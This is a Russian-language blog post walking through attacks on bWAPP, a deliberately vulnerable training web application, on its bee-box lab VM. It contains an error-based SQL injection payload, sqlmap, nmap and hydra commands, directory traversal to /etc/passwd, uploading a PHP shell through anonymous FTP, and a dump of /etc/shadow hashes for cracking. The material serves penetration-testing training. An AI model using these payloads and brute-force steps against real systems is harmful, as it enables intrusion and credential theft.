...

суббота, 14 февраля 2015 г.

Обзор площадки для тестирования веб-уязвимостей OWASP Top-10 на примере bWAPP

Привет, Хабр!

В этой статье предлагаю читателю ознакомится с уязвимостями веб-приложений (и не только), по классификации OWASP Top-10, и их эксплуатацией на примере bWAPP.


image


Краткий ликбез:


Open Web Application Security Project (OWASP) — это открытый проект обеспечения безопасности веб-приложений. Сообщество OWASP включает в себя корпорации, образовательные организации и частных лиц со всего мира. Сообщество работает над созданием статей, учебных пособий, документации, инструментов и технологий, находящихся в свободном доступе. Участники проекта уже десять лет составляют список Топ-10 самых опасных уязвимостей в веб-приложениях, стараясь привлечь внимание всех веб-разработчиков.


Сам топ-10 выглядит следющим образом:





A1 Внедрение кода

A2 Некорректная аутентификация и управление сессией

A3 Межсайтовый скриптинг (XSS)

A4 Небезопасные прямые ссылки на объекты

A5 Небезопасная конфигурация

A6 Утечка чувствительных данных

A7 Отсутствие контроля доступа к функциональному уровню

A8 Подделка межсайтовых запросов (CSRF)

A9 Использование компонентов с известными уязвимостями

A10 Невалидированные редиректы


Рейтинг отражает не только распространенность, но и опасность угрозы.


buggy web application (bWAPP) — это опенсорс веб-приложение, свободное для скачиваний. Отличает себя от других тем, что содержит около 100 уязвимостей, классифицированных по топ-10 от OWASP. Предназначается для поиска и эксплуатации уязвимостей в веб-приложениях и не только.

Автор bWAPP — Malik Mesellem (его блог)


image


Это PHP приложение, использующее MYSQL. Можно развернуть на винде/линуксе, на WAMP и XAMPP. Имеется также полностью готовая к употреблению виртуальная машина bee-box, которая и будет использована в статье.


Список уязвимостей, что вы встретите в bWAPP:


  • SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections

  • Blind SQL and Blind OS Command injection

  • Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)

  • Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)

  • Cross-Site Request Forgery (CSRF)

  • AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)

  • Malicious, unrestricted file uploads and backdoor files

  • Authentication, authorization and session management issues

  • Arbitrary file access and directory traversals

  • Local and remote file inclusions (LFI/RFI)

  • Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...

  • HTTP parameter pollution and HTTP response splitting

  • Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion

  • Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations

  • HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues

  • Unvalidated redirects and forwards, and cookie poisoning

  • Cookie poisoning and insecure cryptographic storage

  • Server Side Request Forgery (SSRF)

  • XML External Entity attacks (XXE)





Что вас ждет в статье:



  • Освещение нескольких уязвимостей — поиск, эксплуатация, использование пентест программ.

  • Прохождение bwapp несколькими способами, не используя веб.


На кого расчитанна статья:



  • На людей увлеченных информационной безопасностью, веб-разработчиков (я надеюсь:)), всех, кому интересна тема информационной безопасности, и чья работа так или иначе связана с веб-технологиями.


Требования:



  • Жажда знаний

  • Машина, на которой вы развернете bWAPP.

  • Опционально — опыт использование пентест тулз, обзор и использование которых широко освещены на Хабре.


Цель статьи:



  • Показать отличную площадку для тестирования своих навыков пентеста и/или разработки. Кратко ввести в курс дел безопасности веб-приложений. Ну и само соревнование никто не отменял :)


WARNING!



Чего не будет в статье:

1. Освещение ошибок конфигурации чего-либо — нет объяснений природы бага.

2. Обзора программ, которые помогают при пентесте.

Рассматриваемые уязвимости выбраны специально под легкость объяснения/занимаемое место в статье.

Ссылки на вспомогательные статьи/софт/етс приведены в конце статьи.


SQL-injection




Выбираем SQL Injection (GET/Search)

Открывается страница, где нам предлагают выбрать фильм. Что ж, попытаем счастье — введем Hulk.



Подставляем кавычку, получаем ошибку:



http://ift.tt/1AmzqpI




Воспользуемся техникой order by и подберем количество столбцов:

http://ift.tt/1EqWz7Z




Оно равно 7:

http://ift.tt/1AmzoOE




Дальше используем union:

http://ift.tt/1EqWwJb




Получаем номера столбцов:


Получаем имя БД, юзера, хеш пароля:



http://ift.tt/1AmzqpN





SQL Injection (POST/Search)


Открываем /bWAPP/sqli_6.php, вводим Hulk', баг есть, но адресная строка нам не помогает? Поможет Burpsuite и Sqlmap:

В burpsuite открываем наш запрос


Ошибка есть, теперь удаляем кавычку, сохраняем поле «Request» в .txt файл.

Открываем sqlmap и выполняем команду:



sqlmap -r sql.txt





Проверить sqlmap можно, например, подставив то, что программа нам предлагает, типа такого:



Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: title=hulk%' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search




Просто подставим payload в адресную строку:

http://ift.tt/1EqWwJf' AND (SELECT 2135 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (CASE WHEN (2135=2135) THEN 1 ELSE 0 END)),0x7162767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&action=search




тем самым получим токен, что означает, что задача выполнена:


Или вас интересуют XSS?




Их здесь полно и на любой вкус.

Выбираем XSS — Reflected (GET)


Подставляем










Просто почитать чужие файлы?


Откроем Directory Traversal — Files



http://ift.tt/1AmzoOG


Попробуем подставить /etc/passwd:


Откроем Directory Traversal — Directories



http://ift.tt/1EqWzoj


Прочитаем листинг /etc/:


Тестирование «черным ящиком»




Как любитель boot2root образов для пентеста (собственно так я и вышел на bWAPP) хотел бы вам показать тестирование без веба, с моими небольшими пояснениями.

Просканируем цель nmap'ом:



Nmap scan report for bee-box (192.168.1.18)
Host is up (0.0050s latency).
Not shown: 983 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
666/tcp open doom
3306/tcp open mysql
5901/tcp open vnc-1
6001/tcp open X11:1
8080/tcp open http-proxy
8443/tcp open https-alt
9080/tcp open glrpc


Здесь не будет результатов сканера Nikto (Рекомендую выполнить скан самостоятельно), из-за рамок статьи, я ограничусь разбором FTP и VNC сервисов.


FTP



Воспользуемся Dirbuster:

Dir found: /phpmyadmin/ - 200
Dir found: /evil/ - 200
Dir found: /webdav/ - 200
File found: /webdav/Iron_Man.pdf - 200
File found: /webdav/Terminator_Salvation.pdf - 200
File found: /webdav/The_Amazing_Spider-Man.pdf - 200
File found: /webdav/The_Cabin_in_the_Woods.pdf - 200
File found: /webdav/The_Dark_Knight_Rises.pdf - 200
File found: /webdav/The_Incredible_Hulk.pdf - 200
File found: /webdav/bWAPP_intro.pdf - 200


Тем временем



nmap --script=ftp*




сообщает, что:

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.1
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r-- 1 root www-data 543803 Nov 2 22:52 Iron_Man.pdf
| -rw-rw-r-- 1 root www-data 462949 Nov 2 22:52 Terminator_Salvation.pdf
| -rw-rw-r-- 1 root www-data 544600 Nov 2 22:52 The_Amazing_Spider-Man.pdf
| -rw-rw-r-- 1 root www-data 526187 Nov 2 22:52 The_Cabin_in_the_Woods.pdf
| -rw-rw-r-- 1 root www-data 756522 Nov 2 22:52 The_Dark_Knight_Rises.pdf
| -rw-rw-r-- 1 root www-data 618117 Nov 2 22:52 The_Incredible_Hulk.pdf
|_-rw-rw-r-- 1 root www-data 5010042 Nov 2 22:52 bWAPP_intro.pdf


Анализируя эти 2 результата, мы понимаем, что ftp папка (она же /webdav/) доступна через http.

Значит будем заливать php шелл.



Анонимный доступ, аплоад, ftp через http, чего еще пожелать? :)



Наш шелл.


VNC

Пробуем подключится по 192.168.1.18:5901



Хорошо, воспользуемся hydra:



hydra -P /wordlist/pass.txt -s 5901 192.168.1.18 vnc



Коннектимся… тадам! Неожиданно, но это права root'а.

Раз root, тогда смотрим /etc/shadow



root:$1$6.aigTP1$FC1TuoITEYSQwRV0hi6gj/:15792:0:99999:7:::
bee:$1$tJB0ndAJ$0d42BkRQ7vebj/bE5RdQH1:15792:0:99999:7:::
neo:$1$fSorv0ad$56lfF9qd8o4caaSB6dVqi/:15897:0:99999:7:::
alice:$1$yRUOVrYB$9f4TMaym/xOSeGbmsgFGI/:15897:0:99999:7:::
thor:$1$Iy6Mvuaz$http://ift.tt/1AmzqpP:::
wolverine:$1$PUGlrXi8$oXOwDBaAzxtgXh10Xkw9i/:15897:0:99999:7:::
johnny:$1$uqzKnduQ$MPxhWXcf2FFQarhO95d5y/:15897:0:99999:7:::
selene:$1$BHZLob3h$mru35IhZzRdnfTHOADrkJ0:15897:0:99999:7:::


Воспользуемся hashcat'ом для подбора паролей:




Вот такой улов.


Заключение




Bee-box немного выходит за рамки обычного write-up'а по boot2root образам. В нем каждый сможет отыскать что-то, что давно хотел попробовать/выучить/узнать.

Статья получилась сумбурной, но на мой взгляд, свою задачу я выполнил, ведь цель была познакомить читателя с площадкой для тестирования:


  • Захотели узнать, к примеру, что такое Heartbleed? Легко! Запускаете его в виртуалке в 2 клика мыши.

  • Ознакомиться/вспомнить какой-то инструмент или технологию, быстро проверив на практике, я считаю, отличный вариант.

  • Здесь вполне можно прокачать навыки пентеста, веб-технологий, применений специфичного софта.


Список литературы




Автор bWAPP — Malik Mesellem (его блог)

Сам Топ-10 OWASP

Отличная подборка тематических статей от BeLove

Вторая подборка описание пентест утилит, также от BeLove

Творение g0tmi1k — сайт, на котором собраны boot2root образы

Ссылка на виртуальную машину, в архиве 5 гб


Спасибо за внимание. Отвечу на любые вопросы.


Recommended article: Chomsky: We Are All – Fill in the Blank.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Комментариев нет:

Отправить комментарий